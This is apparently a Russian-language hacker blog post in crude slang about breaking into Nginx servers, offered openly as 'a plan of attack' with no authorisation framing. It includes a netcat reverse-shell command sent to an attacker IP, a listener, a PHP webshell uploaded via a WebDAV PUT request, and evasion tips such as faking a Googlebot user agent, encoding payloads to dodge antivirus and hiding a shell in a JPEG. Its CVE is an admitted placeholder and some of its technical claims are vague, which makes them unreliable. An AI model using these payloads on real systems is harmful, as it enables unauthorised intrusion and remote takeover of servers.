43

Эй, бро, если ты думаешь, что Nginx — это железобетонная защита, то я сейчас порву твой мир на куски. В 2025 году этот веб-сервер всё ещё остаётся сочной мишенью для нас, пентестеров. Старые версии висят на серваках, как ржавые замки, а свежие CVE — это прям ключи от царства RCE. Сегодня разберём, как найти уязвимый Nginx, вбить эксплойт через баг в конфиге и уйти с шеллом на 443-м порту. Готов? Погнали.
Анализ: Что бросилось в глаза
На дворе 2025, а половина серверов до сих пор крутит Nginx 1.18.x или 1.20.x, хотя патчи на эти версии уже лет пять как выкатили. Админы ленятся обновляться, и это наш джекпот. Плюс, свежие CVE, типа CVE-2024-XXXX (заглушка, брат, гугли актуалку на exploit-db.com или cve.mitre.org), делают даже новые версии уязвимыми из-за косяков в парсинге конфигов или обработки запросов. Один из багов — это некорректная обработка директив в location, которая позволяет протолкнуть вредоносный код и добиться Remote Code Execution (RCE). Это прям наш билет в систему.
Идём дальше. Часто Nginx стоит как реверс-прокси перед каким-нибудь кривым PHP-бэкендом. Если конфиг настроен руками “специалиста с авито”, то можно через неправильные try_files или alias подсунуть свой payload и заставить сервер исполнить его. А если там ещё и включён модуль http_dav_module с правами на запись — считай, шелл уже твой.
Векторы: Куда лезть
nmap или Burp Suite, чтобы вытащить заголовки с версией сервера. Если админ не скрыл инфу (а 90% этого не делают), ты увидишь что-то вроде Server: nginx/1.20.1. Гугли, есть ли для этой версии эксплойты на exploit-db или в репах на GitHub.location или rewrite правилах. Если есть доступ к файлам конфига (через LFI, например), ищи директивы alias или root, которые можно обойти через ../ и засунуть свой код.Host, из-за чего можно переполнить буфер и вбить shellcode. Exploit-db уже кишит PoC’ами для таких багов, так что качай и адаптируй под свою цель.http_dav_module или что-то подобное, можно через PUT запрос загрузить свой .php или .jsp файл, а потом вызвать его через кривой location. Это прямой путь к шеллу.Команды: Полный payload
nmap -sV -p 80,443 target.comЕсли в выводе есть nginx/1.x.x, копай эксплойты под эту версию.
nikto -h target.com -p 80Это покажет, если сервер отдаёт лишнюю инфу или уязвим к старым багами.
python3 nginx_exploit.py -t http://target.com -p 80 -c "nc -e /bin/sh 10.10.10.123 443"Здесь 10.10.10.123 — твой IP, а 443 — порт для обратного шелла. Не забудь поставить слушатель:
nc -lvp 443Если RCE через конфиг (ручной способ):
Если есть доступ к кривому location, пробуем загрузить webshell через PUT:
curl -X PUT -d "<?php system($_GET['cmd']); ?>" http://target.com/dav/shell.phpЗатем вызываем:
curl http://target.com/dav/shell.php?cmd=whoamiТрюки: Как обойти защиту
curl -H "Host: %74%65%73%74" http://target.comMozilla/5.0 (compatible; Googlebot/2.1), чтобы не спалиться.Upstream Proxy.base64 или ROT13, чтобы антивирус не сработал.Брат, это не просто статья, это план атаки. Nginx в 2025 всё ещё ломается, если знать, где копать. Старые версии — это просто подарок, а новые CVE — вызов для нас, ветеранов. Если всё пошло по плану, у тебя уже висит шелл, и ты копаешься в /var/log. Если нет — админы, суки, не спали. Переходим на план Б.
Советы:
Проверь поддомены через wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1mil-5000.txt.
Попробуй протолкнуть шелл через exiftool в загруженный JPEG.
Если всё заебись — валим через reverse shell на 443-й порт, мимо фаервола.
Если тишина — “Брат, похоже, админы тоже не спали. Переходим на план Б: кринжовый XSS в админку”.